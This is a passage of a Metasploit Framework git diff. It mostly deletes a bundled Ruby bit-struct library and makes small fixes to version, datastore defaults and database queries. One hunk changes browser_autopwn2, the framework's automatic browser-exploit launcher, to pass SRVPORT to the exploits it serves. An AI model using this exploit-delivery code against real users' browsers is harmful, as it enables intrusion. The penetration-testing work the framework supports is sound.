DEFAULT_TO_H_OPTS = { - :convert_keys => :to_sym, - :include_rest => true - } - - # Returns a hash of {name=>value,...} for each field. By default, include - # the rest field. - # Keys are symbols derived from field names using +to_sym+, unless - # opts[:convert_keys]<\tt> is set to some other method name. - def to_h(opts = DEFAULT_TO_H_OPTS) - converter = opts[:convert_keys] || :to_sym - - fields_for_to_h = fields - if opts[:include_rest] and (rest_field = self.class.rest_field) - fields_for_to_h += [rest_field] - end - - fields_for_to_h.inject({}) do |h,f| - h[f.name.send(converter)] = send(f.name) - h - end - end - - # Returns an array of values of the fields of the BitStruct. By default, - # include the rest field. - def to_a(include_rest = true) - ary = - fields.map do |f| - send(f.name) - end - - if include_rest and (rest_field = self.class.rest_field) - ary << send(rest_field.name) - end - ary - end - - ## temporary hack for 1.9 - if "a"[0].kind_of? String - def [](*args) - if args.size == 1 and args[0].kind_of?(Fixnum) - super.ord - else - super - end - end - - def []=(*args) - if args.size == 2 and (i=args[0]).kind_of?(Fixnum) - super(i, args[1].chr) - else - super - end - end - end - - class << self - # The unique "prototype" object from which new instances are copied. - # The fields of this instance can be modified in the class definition - # to set default values for the fields in that class. (Otherwise, defaults - # defined by the fields themselves are used.) A copy of this object is - # inherited in subclasses, which they may override using defaults and - # by writing to the initial_value object itself. - # - # If called with a block, yield the initial value object before returning - # it. Useful for customization within a class definition. - # - def initial_value # :yields: the initial value - unless @initial_value - iv = defined?(superclass.initial_value) ? - superclass.initial_value.dup : "" - if iv.length < round_byte_length - iv << "\0" * (round_byte_length - iv.length) - end - - @initial_value = "" # Serves as initval while the real initval is inited - @initial_value = new(iv) - @closed = false # only creating the first _real_ instance closes. - - fields.each do |field| - @initial_value.send("#{field.name}=", field.default) if field.default - end - end - yield @initial_value if block_given? - @initial_value - end - - # Take +data+ (a string or BitStruct) and parse it into instances of - # the +classes+, returning them in an array. The classes can be given - # as an array or a separate arguments. (For parsing a string into a _single_ - # BitStruct instance, just use the #new method with the string as an arg.) - def parse(data, *classes) - classes.flatten.map do |c| - c.new(data.slice!(0...c.round_byte_length)) - end - end - - # Join the given structs (array or multiple args) as a string. - # Actually, the inherited String#+ instance method is the same, as is using - # Array#join. - def join(*structs) - structs.flatten.map {|struct| struct.to_s}.join("") - end - end - - # ------------------------ - # :section: inspection methods - # - # ------------------------ - - DEFAULT_INSPECT_OPTS = { - :format => "#<%s %s>", - :field_format => "%s=%s", - :separator => ", ", - :field_name_meth => :name, - :include_rest => true, - :brackets => ["[", "]"], - :include_class => true, - :simple_format => "<%s>" - } - - DETAILED_INSPECT_OPTS = { - :format => "%s:\n%s", - :field_format => "%30s = %s", - :separator => "\n", - :field_name_meth => :display_name, - :include_rest => true, - :brackets => [nil, "\n"], - :include_class => true, - :simple_format => "\n%s" - } - - # A standard inspect method which does not add newlines. - def inspect(opts = DEFAULT_INSPECT_OPTS) - field_format = opts[:field_format] - field_name_meth = opts[:field_name_meth] - - fields_for_inspect = fields.select {|field| field.inspectable?} - if opts[:include_rest] and (rest_field = self.class.rest_field) - fields_for_inspect << rest_field - end - - ary = fields_for_inspect.map do |field| - field_format % - [field.send(field_name_meth), - field.inspect_in_object(self, opts)] - end - - body = ary.join(opts[:separator]) - - if opts[:include_class] - opts[:format] % [self.class, body] - else - opts[:simple_format] % body - end - end - - # A more visually appealing inspect method that puts each field/value on - # a separate line. Very useful when output is scrolling by on a screen. - # - # (This is actually a convenience method to call #inspect with the - # DETAILED_INSPECT_OPTS opts.) - def inspect_detailed - inspect(DETAILED_INSPECT_OPTS) - end - - # ------------------------ - # :section: field declaration methods - # - # ------------------------ - - # Define accessors for a variable length substring from the end of - # the defined fields to the end of the BitStruct. The _rest_ may behave as - # a String or as some other String or BitStruct subclass. - # - # This does not add a field, which is useful because a superclass can have - # a rest method which accesses subclass data. In particular, #rest does - # not affect the #round_byte_length class method. Of course, any data - # in rest does add to the #length of the BitStruct, calculated as a string. - # Also, _rest_ is not inherited. - # - # The +ary+ argument(s) work as follows: - # - # If a class is provided, use it for the Field class (String by default). - # If a string is provided, use it for the display_name (+name+ by default). - # If a hash is provided, use it for options. - # - # *Warning*: the rest reader method returns a copy of the field, so - # accessors on that returned value do not affect the original rest field. - # - def self.rest(name, *ary) - if @rest_field - raise ArgumentError, "Duplicate rest field: #{name.inspect}." - end - - opts = parse_options(ary, name, String) - offset = round_byte_length - byte_range = offset..-1 - class_eval do - field_class = opts[:field_class] - define_method name do || - field_class.new(self[byte_range]) - end - - define_method "#{name}=" do |val| - self[byte_range] = val - end - - @rest_field = Field.new(offset, -1, name, { - :display_name => opts[:display_name], - :rest_class => field_class - }) - end - end - - # Not included with the other fields, but accessible separately. - def self.rest_field; @rest_field; end -end diff --git a/lib/bit-struct/char-field.rb b/lib/bit-struct/char-field.rb deleted file mode 100644 index 0ceb5a35ed..0000000000 --- a/lib/bit-struct/char-field.rb +++ /dev/null @@ -1,49 +0,0 @@ -# -*- coding: binary -*- -class BitStruct - # Class for fixed length binary strings of characters. - # Declared with BitStruct.char. - class CharField < Field - #def self.default - # don't define this, since it must specify N nulls and we don't know N - #end - - # Used in describe. - def self.class_name - @class_name ||= "char" - end - - def add_accessors_to(cl, attr = name) # :nodoc: - unless offset % 8 == 0 - raise ArgumentError, - "Bad offset, #{offset}, for #{self.class} #{name}." + - " Must be multiple of 8." - end - - unless length % 8 == 0 - raise ArgumentError, - "Bad length, #{length}, for #{self.class} #{name}." + - " Must be multiple of 8." - end - - offset_byte = offset / 8 - length_byte = length / 8 - last_byte = offset_byte + length_byte - 1 - byte_range = offset_byte..last_byte - val_byte_range = 0..length_byte-1 - - cl.class_eval do - define_method attr do || - self[byte_range].to_s - end - - define_method "#{attr}=" do |val| - val = val.to_s - if val.length < length_byte - val += "\0" * (length_byte - val.length) - end - self[byte_range] = val[val_byte_range] - end - end - end - end -end diff --git a/lib/bit-struct/fields.rb b/lib/bit-struct/fields.rb deleted file mode 100644 index 4d581df1a5..0000000000 --- a/lib/bit-struct/fields.rb +++ /dev/null @@ -1,301 +0,0 @@ -# -*- coding: binary -*- -class BitStruct - class << self - # Define a char string field in the current subclass of BitStruct, - # with the given _name_ and _length_ (in bits). Trailing nulls _are_ - # considered part of the string. - # - # If a class is provided, use it for the Field class. - # If a string is provided, use it for the display_name. - # If a hash is provided, use it for options. - # - # Note that the accessors have COPY semantics, not reference. - # - def char(name, length, *rest) - opts = parse_options(rest, name, CharField) - add_field(name, length, opts) - end - alias string char - BitStruct.autoload :CharField, "bit-struct/char-field" - - # Define a floating point field in the current subclass of BitStruct, - # with the given _name_ and _length_ (in bits). - # - # If a class is provided, use it for the Field class. - # If a string is provided, use it for the display_name. - # If a hash is provided, use it for options. - # - # The :endian => :native option overrides the default of - # :network byte ordering, in favor of native byte ordering. Also - # permitted are :big (same as :network) and - # :little. - # - def float name, length, *rest - opts = parse_options(rest, name, FloatField) - add_field(name, length, opts) - end - BitStruct.autoload :FloatField, "bit-struct/float-field" - - # Define an octet string field in the current subclass of BitStruct, - # with the given _name_ and _length_ (in bits). Trailing nulls are - # not considered part of the string. The field is accessed using - # period-separated hex digits. - # - # If a class is provided, use it for the Field class. - # If a string is provided, use it for the display_name. - # If a hash is provided, use it for options. - # - def hex_octets(name, length, *rest) - opts = parse_options(rest, name, HexOctetField) - add_field(name, length, opts) - end - BitStruct.autoload :HexOctetField, "bit-struct/hex-octet-field" - - # Define a nested field in the current subclass of BitStruct, - # with the given _name_ and _nested_class_. Length is determined from - # _nested_class_. - # - # If a class is provided, use it for the Field class (i.e. <=NestedField). - # If a string is provided, use it for the display_name. - # If a hash is provided, use it for options. - # - # For example: - # - # class Sub < BitStruct - # unsigned :x, 8 - # end - # - # class A < BitStruct - # nest :n, Sub - # end - # - # a = A.new - # - # p a # ==> #> - # - # If a block is given, use it to define the nested fields. For example, the - # following is equivalent to the above example: - # - # class A < BitStruct - # nest :n do - # unsigned :x, 8 - # end - # end - # - # WARNING: the accessors have COPY semantics, not reference. When you call a - # reader method to get the nested structure, you get a *copy* of that data. - # Expressed in terms of the examples above: - # - # # This fails to set x in a. - # a.n.x = 3 - # p a # ==> #> - # - # # This works - # n = a.n - # n.x = 3 - # a.n = n - # p a # ==> #> - # - def nest(name, *rest, &block) - nested_class = rest.grep(Class).find {|cl| cl <= BitStruct} - rest.delete nested_class - opts = parse_options(rest, name, NestedField) - nested_class = opts[:nested_class] ||= nested_class - - unless (block and not nested_class) or (nested_class and not block) - raise ArgumentError, - "nested field must have either a nested_class option or a block," + - " but not both" - end - - unless nested_class - nested_class = Class.new(BitStruct) - nested_class.class_eval(&block) - end - - opts[:default] ||= nested_class.initial_value.dup - opts[:nested_class] = nested_class - field = add_field(name, nested_class.bit_length, opts) - field - end - alias struct nest - BitStruct.autoload :NestedField, "bit-struct/nested-field" - - # Define an octet string field in the current subclass of BitStruct, - # with the given _name_ and _length_ (in bits). Trailing nulls are - # not considered part of the string. The field is accessed using - # period-separated decimal digits. - # - # If a class is provided, use it for the Field class. - # If a string is provided, use it for the display_name. - # If a hash is provided, use it for options. - # - def octets(name, length, *rest) - opts = parse_options(rest, name, OctetField) - add_field(name, length, opts) - end - BitStruct.autoload :OctetField, "bit-struct/octet-field" - - # Define a padding field in the current subclass of BitStruct, - # with the given _name_ and _length_ (in bits). - # - # If a class is provided, use it for the Field class. - # If a string is provided, use it for the display_name. - # If a hash is provided, use it for options. - # - def pad(name, length, *rest) - opts = parse_options(rest, name, PadField) - add_field(name, length, opts) - end - alias padding pad - BitStruct.autoload :PadField, "bit-struct/pad-field" - - # Define a signed integer field in the current subclass of BitStruct, - # with the given _name_ and _length_ (in bits). - # - # If a class is provided, use it for the Field class. - # If a string is provided, use it for the display_name. - # If a hash is provided, use it for options. - # - # SignedField adds the :fixed => divisor option, which specifies - # that the internally stored value is interpreted as a fixed point real - # number with the specified +divisor+. - # - # The :endian => :native option overrides the default of - # :network byte ordering, in favor of native byte ordering. Also - # permitted are :big (same as :network) and - # :little. - # - def signed name, length, *rest - opts = parse_options(rest, name, SignedField) - add_field(name, length, opts) - end - BitStruct.autoload :SignedField, "bit-struct/signed-field" - - # Define a printable text string field in the current subclass of BitStruct, - # with the given _name_ and _length_ (in bits). Trailing nulls are - # _not_ considered part of the string. - # - # If a class is provided, use it for the Field class. - # If a string is provided, use it for the display_name. - # If a hash is provided, use it for options. - # - # Note that the accessors have COPY semantics, not reference. - # - def text(name, length, *rest) - opts = parse_options(rest, name, TextField) - add_field(name, length, opts) - end - BitStruct.autoload :TextField, "bit-struct/text-field" - - # Define a unsigned integer field in the current subclass of BitStruct, - # with the given _name_ and _length_ (in bits). - # - # If a class is provided, use it for the Field class. - # If a string is provided, use it for the display_name. - # If a hash is provided, use it for options. - # - # UnsignedField adds the :fixed => divisor option, which specifies - # that the internally stored value is interpreted as a fixed point real - # number with the specified +divisor+. - # - # The :endian => :native option overrides the default of - # :network byte ordering, in favor of native byte ordering. Also - # permitted are :big (same as :network) and - # :little. - # - def unsigned name, length, *rest - opts = parse_options(rest, name, UnsignedField) - add_field(name, length, opts) - end - BitStruct.autoload :UnsignedField, "bit-struct/unsigned-field" - - # Define a vector field in the current subclass of BitStruct, - # with the given _name_. - # - # If a class is provided, use it for the Vector class, otherwise - # the block must define the entry fields. The two forms looks like - # this: - # - # class Vec < BitStruct::Vector - # # these declarations apply to *each* entry in the vector: - # unsigned :x, 16 - # signed :y, 32 - # end - # - # class Packet < BitStruct - # # Using the Vec class defined above - # vector :v, Vec, "a vector", :length => 5 - # - # # equivalently, using an anonymous subclass of BitStruct::Vector - # vector :v2, "a vector", :length => 5 do - # unsigned :x, 16 - # signed :y, 32 - # end - # end - # - # If a string is provided, use it for the display_name. - # If a hash is provided, use it for options. - # If a number is provided, use it for length (equivalent to using the - # :length option). - # - # WARNING: the accessors have COPY semantics, not reference. When you call a - # reader method to get the vector structure, you get a *copy* of that data. - # - # For example, to modify the numeric fields in a Packet as defined above: - # - # pkt = Packet.new - # vec = pkt.v - # entry = vec[2] - # entry.x = 123 - # entry.y = -456 - # vec[2] = entry - # pkt.v = vec - # - def vector(name, *rest, &block) - opts = parse_options(rest, name, nil) - cl = opts[:field_class] - opts[:field_class] = VectorField - - unless (block and not cl) or (cl and not block) - raise ArgumentError, - "vector must have either a class or a block, but not both" - end - - case - when cl == nil - vector_class = Class.new(BitStruct::Vector) - vector_class.class_eval(&block) - - when cl < BitStruct - vector_class = Class.new(BitStruct::Vector) - vector_class.struct_class cl - - when cl < BitStruct::Vector - vector_class = cl - - else raise ArgumentError, "Bad vector class: #{cl.inspect}" - end - - vector_class.default_options default_options - - length = opts[:length] || rest.grep(Integer).first - ## what about :length => :lenfield - unless length - raise ArgumentError, - "Must provide length as argument N or as option :length => N" - end - - opts[:default] ||= vector_class.new(length) ## nil if variable length - opts[:vector_class] = vector_class - - bit_length = vector_class.struct_class.round_byte_length * 8 * length - - field = add_field(name, bit_length, opts) - field - end - BitStruct.autoload :VectorField, "bit-struct/vector-field" - end - - autoload :Vector, "bit-struct/vector" -end diff --git a/lib/bit-struct/float-field.rb b/lib/bit-struct/float-field.rb deleted file mode 100644 index d7e2e5b092..0000000000 --- a/lib/bit-struct/float-field.rb +++ /dev/null @@ -1,62 +0,0 @@ -# -*- coding: binary -*- -class BitStruct - # Class for floats (single and double precision) in network order. - # Declared with BitStruct.float. - class FloatField < Field - # Used in describe. - def self.class_name - @class_name ||= "float" - end - - def add_accessors_to(cl, attr = name) # :nodoc: - unless offset % 8 == 0 - raise ArgumentError, - "Bad offset, #{offset}, for #{self.class} #{name}." + - " Must be multiple of 8." - end - - unless length == 32 or length == 64 - raise ArgumentError, - "Bad length, #{length}, for #{self.class} #{name}." + - " Must be 32 or 64." - end - - offset_byte = offset / 8 - length_byte = length / 8 - last_byte = offset_byte + length_byte - 1 - byte_range = offset_byte..last_byte - - endian = (options[:endian] || options["endian"]).to_s - case endian - when "native" - ctl = case length - when 32; "f" - when 64; "d" - end - when "little" - ctl = case length - when 32; "e" - when 64; "E" - end - when "network", "big", "" - ctl = case length - when 32; "g" - when 64; "G" - end - else - raise ArgumentError, - "Unrecognized endian option: #{endian.inspect}" - end - - cl.class_eval do - define_method attr do || - self[byte_range].unpack(ctl).first - end - - define_method "#{attr}=" do |val| - self[byte_range] = [val].pack(ctl) - end - end - end - end -end diff --git a/lib/bit-struct/hex-octet-field.rb b/lib/bit-struct/hex-octet-field.rb deleted file mode 100644 index 70c27c218e..0000000000 --- a/lib/bit-struct/hex-octet-field.rb +++ /dev/null @@ -1,21 +0,0 @@ -# -*- coding: binary -*- -require 'bit-struct/char-field' - -class BitStruct - # Class for char fields that can be accessed with values like - # "xx:xx:xx:xx", where each xx is up to 2 hex digits representing a - # single octet. The original string-based accessors are still available with - # the _chars suffix. - # - # Declared with BitStruct.hex_octets. - class HexOctetField < BitStruct::OctetField - # Used in describe. - def self.class_name - @class_name ||= "hex_octets" - end - - SEPARATOR = ":" - FORMAT = "%02x" - BASE = 16 - end -end diff --git a/lib/bit-struct/nested-field.rb b/lib/bit-struct/nested-field.rb deleted file mode 100644 index 4182d1f7df..0000000000 --- a/lib/bit-struct/nested-field.rb +++ /dev/null @@ -1,77 +0,0 @@ -# -*- coding: binary -*- -require 'bit-struct/bit-struct' - -class BitStruct - # Class for nesting a BitStruct as a field within another BitStruct. - # Declared with BitStruct.nest. - class NestedField < Field - def initialize(*args) - super - end - - # Used in describe. - def self.class_name - @class_name ||= "nest" - end - - def class_name - @class_name ||= nested_class.name[/\w+$/] - end - - def nested_class - @nested_class ||= options[:nested_class] || options["nested_class"] - end - - def describe opts - if opts[:expand] - opts = opts.dup - opts[:byte_offset] = offset / 8 - opts[:omit_header] = opts[:omit_footer] = true - nested_class.describe(nil, opts) {|desc| yield desc} - else - super - end - end - - def add_accessors_to(cl, attr = name) # :nodoc: - unless offset % 8 == 0 - raise ArgumentError, - "Bad offset, #{offset}, for nested field #{name}." + - " Must be multiple of 8." - end - - unless length % 8 == 0 - raise ArgumentError, - "Bad length, #{length}, for nested field #{name}." + - " Must be multiple of 8." - end - - offset_byte = offset / 8 - length_byte = length / 8 - last_byte = offset_byte + length_byte - 1 - byte_range = offset_byte..last_byte - - nc = nested_class - - cl.class_eval do - define_method attr do || - nc.new(self[byte_range]) - end - - define_method "#{attr}=" do |val| - if val.length != length_byte - raise ArgumentError, "Size mismatch in nested struct assignment " + - "to #{attr} with value #{val.inspect}" - end - - if val.class != nc - warn "Type mismatch in nested struct assignment " + - "to #{attr} with value #{val.inspect}" - end - - self[byte_range] = val - end - end - end - end -end diff --git a/lib/bit-struct/octet-field.rb b/lib/bit-struct/octet-field.rb deleted file mode 100644 index 1281a136a5..0000000000 --- a/lib/bit-struct/octet-field.rb +++ /dev/null @@ -1,46 +0,0 @@ -# -*- coding: binary -*- -require 'bit-struct/char-field' - -class BitStruct - # Class for char fields that can be accessed with values like - # "xxx.xxx.xxx.xxx", where each xxx is up to 3 decimal digits representing a - # single octet. The original string-based accessors are still available with - # the _chars suffix. - # - # Declared with BitStruct.octets. - class OctetField < BitStruct::CharField - # Used in describe. - def self.class_name - @class_name ||= "octets" - end - - SEPARATOR = "." - FORMAT = "%d" - BASE = 10 - - def add_accessors_to(cl, attr = name) # :nodoc: - attr_chars = "#{attr}_chars" - super(cl, attr_chars) - sep = self.class::SEPARATOR - base = self.class::BASE - fmt = self.class::FORMAT - - cl.class_eval do - define_method attr do || - ary = [] - send(attr_chars).each_byte do |c| - ary << fmt % c - end - ary.join(sep) - end - - old_writer = "#{attr_chars}=" - - define_method "#{attr}=" do |val| - data = val.split(sep).map{|s|s.to_i(base)}.pack("C*") - send(old_writer, data) - end - end - end - end -end diff --git a/lib/bit-struct/pad-field.rb b/lib/bit-struct/pad-field.rb deleted file mode 100644 index f01476b23d..0000000000 --- a/lib/bit-struct/pad-field.rb +++ /dev/null @@ -1,16 +0,0 @@ -# -*- coding: binary -*- -class BitStruct - # Class for fixed length padding. - class PadField < Field - # Used in describe. - def self.class_name - @class_name ||= "padding" - end - - def add_accessors_to(cl, attr = name) # :nodoc: - # No accessors for padding. - end - - def inspectable?; false; end - end -end diff --git a/lib/bit-struct/signed-field.rb b/lib/bit-struct/signed-field.rb deleted file mode 100644 index 0ab7cd9c19..0000000000 --- a/lib/bit-struct/signed-field.rb +++ /dev/null @@ -1,259 +0,0 @@ -# -*- coding: binary -*- -class BitStruct - # Class for signed integers in network order, 1-16 bits, or 8n bits. - # Declared with BitStruct.signed. - class SignedField < Field - # Used in describe. - def self.class_name - @class_name ||= "signed" - end - - def add_accessors_to(cl, attr = name) # :nodoc: - offset_byte = offset / 8 - offset_bit = offset % 8 - - length_bit = offset_bit + length - length_byte = (length_bit/8.0).ceil - last_byte = offset_byte + length_byte - 1 - max = 2**length-1 - mid = 2**(length-1) - max_unsigned = 2**length - to_signed = proc {|n| (n>=mid) ? n - max_unsigned : n} -# to_signed = proc {|n| (n>=mid) ? -((n ^ max) + 1) : n} - - divisor = options[:fixed] || options["fixed"] - divisor_f = divisor && divisor.to_f -# if divisor and not divisor.is_a? Fixnum -# raise ArgumentError, "fixed-point divisor must be a fixnum" -# end - - endian = (options[:endian] || options["endian"]).to_s - case endian - when "native" - ctl = length_byte <= 2 ? "s" : "l" - if length == 16 or length == 32 - to_signed = proc {|n| n} - # with pack support, to_signed can be replaced with no-op - end - when "little" - ctl = length_byte <= 2 ? "v" : "V" - when "network", "big", "" - ctl = length_byte <= 2 ? "n" : "N" - else - raise ArgumentError, - "Unrecognized endian option: #{endian.inspect}" - end - - data_is_big_endian = - ([1234].pack(ctl) == [1234].pack(length_byte <= 2 ? "n" : "N")) - - if length_byte == 1 - rest = 8 - length_bit - mask = ["0"*offset_bit + "1"*length + "0"*rest].pack("B8")[0].ord - mask2 = ["1"*offset_bit + "0"*length + "1"*rest].pack("B8")[0].ord - - cl.class_eval do - if divisor - define_method attr do || - to_signed[(self[offset_byte] & mask) >> rest] / divisor_f - end - - define_method "#{attr}=" do |val| - val = (val * divisor).round - self[offset_byte] = - (self[offset_byte] & mask2) | ((val<> rest] - end - - define_method "#{attr}=" do |val| - self[offset_byte] = - (self[offset_byte] & mask2) | ((val< 0 - bytes.push val % 256 - val = val >> 8 - end - if bytes.length < length_byte - bytes.concat [0] * (length_byte - bytes.length) - end - - bytes.reverse! if data_is_big_endian - bytes.pack("C*") - end - - if divisor - define_method attr do || - to_signed[reader_helper[self[byte_range]] / divisor_f] - end - - define_method "#{attr}=" do |val| - self[byte_range] = writer_helper[(val * divisor).round] - end - - else - define_method attr do || - to_signed[reader_helper[self[byte_range]]] - end - - define_method "#{attr}=" do |val| - self[byte_range] = writer_helper[val] - end - end - end - end - - elsif length_byte == 2 # unaligned field that fits within two whole bytes - byte_range = offset_byte..last_byte - rest = 16 - length_bit - - mask = ["0"*offset_bit + "1"*length + "0"*rest] - mask = mask.pack("B16").unpack(ctl).first - - mask2 = ["1"*offset_bit + "0"*length + "1"*rest] - mask2 = mask2.pack("B16").unpack(ctl).first - - cl.class_eval do - if divisor - define_method attr do || - to_signed[(self[byte_range].unpack(ctl).first & mask) >> rest] / - divisor_f - end - - define_method "#{attr}=" do |val| - val = (val * divisor).round - x = (self[byte_range].unpack(ctl).first & mask2) | - ((val<> rest] - end - - define_method "#{attr}=" do |val| - x = (self[byte_range].unpack(ctl).first & mask2) | - ((val<> rest)] / - divisor_f - end - - define_method "#{attr}=" do |val| - val = (val * divisor).round - bytes = self[byte_range] - bytes << 0 - x = (bytes.unpack(ctl).first & mask2) | - ((val<> rest] - end - - define_method "#{attr}=" do |val| - bytes = self[byte_range] - bytes << 0 - x = (bytes.unpack(ctl).first & mask2) | - ((val<> rest) / divisor_f - end - - define_method "#{attr}=" do |val| - val = (val * divisor).round - self[offset_byte] = - (self[offset_byte] & mask2) | ((val<> rest - end - - define_method "#{attr}=" do |val| - self[offset_byte] = - (self[offset_byte] & mask2) | ((val< 0 - bytes.push val % 256 - val = val >> 8 - end - if bytes.length < length_byte - bytes.concat [0] * (length_byte - bytes.length) - end - - bytes.reverse! if data_is_big_endian - bytes.pack("C*") - end - - if divisor - define_method attr do || - reader_helper[self[byte_range]] / divisor_f - end - - define_method "#{attr}=" do |val| - self[byte_range] = writer_helper[(val * divisor).round] - end - - else - define_method attr do || - reader_helper[self[byte_range]] - end - - define_method "#{attr}=" do |val| - self[byte_range] = writer_helper[val] - end - end - end - end - - elsif length_byte == 2 # unaligned field that fits within two whole bytes - byte_range = offset_byte..last_byte - rest = 16 - length_bit - - mask = ["0"*offset_bit + "1"*length + "0"*rest] - mask = mask.pack("B16").unpack(ctl).first - - mask2 = ["1"*offset_bit + "0"*length + "1"*rest] - mask2 = mask2.pack("B16").unpack(ctl).first - - cl.class_eval do - if divisor - define_method attr do || - ((self[byte_range].unpack(ctl).first & mask) >> rest) / - divisor_f - end - - define_method "#{attr}=" do |val| - val = (val * divisor).round - x = (self[byte_range].unpack(ctl).first & mask2) | - ((val<> rest - end - - define_method "#{attr}=" do |val| - x = (self[byte_range].unpack(ctl).first & mask2) | - ((val<> rest) / - divisor_f - end - - define_method "#{attr}=" do |val| - val = (val * divisor).round - bytes = self[byte_range] - bytes << 0 - x = (bytes.unpack(ctl).first & mask2) | - ((val<> rest - end - - define_method "#{attr}=" do |val| - bytes = self[byte_range] - bytes << 0 - x = (bytes.unpack(ctl).first & mask2) | - ((val<:endian => val option. - def default_options h = nil - @default_options ||= superclass.default_options.dup - if h - @default_options.merge! h - if @struct_class - @struct_class.default_options h - end - end - @default_options - end - - def describe(*args) - fmt = args[0] || BitStruct.describe_format - if block_given? - struct_class.describe(*args){|desc| yield desc} - yield ["..."]*5 - else - struct_class.describe(*args) + [fmt % (["..."]*5)] - end - end - end - - # Convenience method for instances. Returns the BitStruct class that - # describes each entry. - def struct_class - self.class.struct_class - end - - # Convenience method for instances. Returns the string length in bytes of - # each entry in the vector. - def struct_class_length - self.class.struct_class.round_byte_length - end - - # +arg+ can be an integer (number of entries) or a string - # (binary data, such as another Vector of the same size). - def initialize arg # :yields: instance - case arg - when Integer - super(struct_class.initial_value * arg) - - else - begin - super arg - rescue NameError - raise ArgumentError, "must be string or integer: #{arg.inspect}" - end - end - - yield self if block_given? - end - - # Get the +i+-th entry. Returns a *copy* of the entry. If you want to - # use this copy to modify the entry, you must modify the copy and then - # use #[]= to replace the entry with the copy. - def [](i) - sc = self.class.struct_class - entry_length = sc.round_byte_length - - unless (0...(length / entry_length)).include? i - raise ArgumentError, "index out of range: #{i}" - end - - sc.new slice(entry_length * i, entry_length) - end - - alias _old_replace_substr []= - - # Set the +i+-th entry to +val+. - def []=(i,val) - entry_length = struct_class_length - - unless (0...(length / entry_length)).include? i - raise ArgumentError, "index out of range: #{i}" - end - - unless val.length == entry_length - raise ArgumentError, "wrong entry length: #{val.length} != #{entry_length}" - end - - _old_replace_substr(entry_length * i, entry_length, val) - end - - ## TODO: [i..j] etc. - - # Iterate over entries. - def each - entry_length = struct_class_length - (length / entry_length).times do |i| - yield self[i] - end - end - - def inspect(opts = BitStruct::DEFAULT_INSPECT_OPTS) - if opts[:include_class] - opts = opts.dup - opts[:include_class] = false - s = self.class.inspect + ": " - else - s = "" - end - - s << entries.map{|entry| entry.inspect(opts)}.join(opts[:separator]) - lb, rb = opts[:brackets] - [lb, s, rb].join - end - - def inspect_detailed - inspect(BitStruct::DETAILED_INSPECT_OPTS) - end -end diff --git a/lib/bit-struct/yaml.rb b/lib/bit-struct/yaml.rb deleted file mode 100644 index 6f835b943e..0000000000 --- a/lib/bit-struct/yaml.rb +++ /dev/null @@ -1,70 +0,0 @@ -# -*- coding: binary -*- -require 'yaml' - -class BitStruct - if RUBY_VERSION == "1.8.2" - def is_complex_yaml? # :nodoc: - true - end - - YAML.add_ruby_type(/^bitstruct/) do |type, val| - subtype, subclass = YAML.read_type_class(type, Object) - subclass.new(val) - end - - def to_yaml_type # :nodoc: - "!ruby/bitstruct:#{self.class}" - end - - def to_yaml( opts = {} ) # :nodoc: - opts[:DocType] = self.class if Hash === opts - YAML.quick_emit(self.object_id, opts) do |out| - out.map(to_yaml_type) do |map| - fields.each do |field| - fn = field.name - map.add(fn, send(fn)) - end - end - end - end - - else - yaml_as "tag:path.berkeley.edu,2006:bitstruct" - - def to_yaml_properties # :nodoc: - yaml_fields = fields.select {|field| field.inspectable?} - props = yaml_fields.map {|f| f.name.to_s} - if (rest_field = self.class.rest_field) - props << rest_field.name.to_s - end - props - end - - # Return YAML representation of the BitStruct. - def to_yaml( opts = {} ) - YAML::quick_emit( object_id, opts ) do |out| - out.map( taguri, to_yaml_style ) do |map| - to_yaml_properties.each do |m| - map.add( m, send( m ) ) - end - end - end - end - - def self.yaml_new( klass, tag, val ) # :nodoc: - unless Hash === val - raise YAML::TypeError, "Invalid BitStruct: " + val.inspect - end - - bitstruct_name, bitstruct_type = YAML.read_type_class( tag, BitStruct ) - - st = bitstruct_type.new - - val.each do |k,v| - st.send( "#{k}=", v ) - end - - st - end - end -end diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index b4b8551391..f597efdd07 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.12.10" + VERSION = "4.12.11" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb index a6b83d4e85..1d65cc4351 100644 --- a/lib/msf/base/serializer/readable_text.rb +++ b/lib/msf/base/serializer/readable_text.rb @@ -401,7 +401,7 @@ class ReadableText ]) mod.options.sorted.each do |name, opt| - val = mod.datastore[name] || opt.default + val = mod.datastore[name].nil? ? opt.default : mod.datastore[name] next if (opt.advanced?) next if (opt.evasion?) @@ -431,7 +431,7 @@ class ReadableText mod.options.sorted.each do |name, opt| next unless opt.advanced? - val = mod.datastore[name] || opt.default + val = mod.datastore[name].nil? ? opt.default : mod.datastore[name] tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ] end @@ -456,7 +456,7 @@ class ReadableText mod.options.sorted.each do |name, opt| next unless opt.evasion? - val = mod.datastore[name] || opt.default + val = mod.datastore[name].nil? ? opt.default : mod.datastore[name] tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ] end diff --git a/lib/msf/core/db_export.rb b/lib/msf/core/db_export.rb index 6b1c93504b..109939e8e6 100644 --- a/lib/msf/core/db_export.rb +++ b/lib/msf/core/db_export.rb @@ -125,7 +125,7 @@ class Export @owned_hosts = [] @hosts = myworkspace.hosts @hosts.each do |host| - if host.notes.find :first, :conditions => { :ntype => 'pro.system.compromise' } + if host.notes.where(ntype: 'pro.system.compromise').first @owned_hosts << host end end @@ -133,7 +133,7 @@ class Export # Extracts all events from a project, storing them in @events def extract_event_entries - @events = myworkspace.events.find :all, :order => 'created_at ASC' + @events = myworkspace.events.order('created_at ASC') end # Extracts all services from a project, storing them in @services diff --git a/lib/msf/core/exploit/browser_autopwn2.rb b/lib/msf/core/exploit/browser_autopwn2.rb index a198e3793c..f490f39ac3 100644 --- a/lib/msf/core/exploit/browser_autopwn2.rb +++ b/lib/msf/core/exploit/browser_autopwn2.rb @@ -130,6 +130,7 @@ module Msf xploit.datastore['PAYLOAD'] = p.first[:payload_name] xploit.datastore['LPORT'] = p.first[:payload_lport] xploit.datastore['SRVHOST'] = datastore['SRVHOST'] + xploit.datastore['SRVPORT'] = datastore['SRVPORT'] xploit.datastore['LHOST'] = get_payload_lhost %w(JsObfuscate CookieName VERBOSE Retries SSL SSLVersion SSLCipher URIHOST URIPORT).each do |opt| diff --git 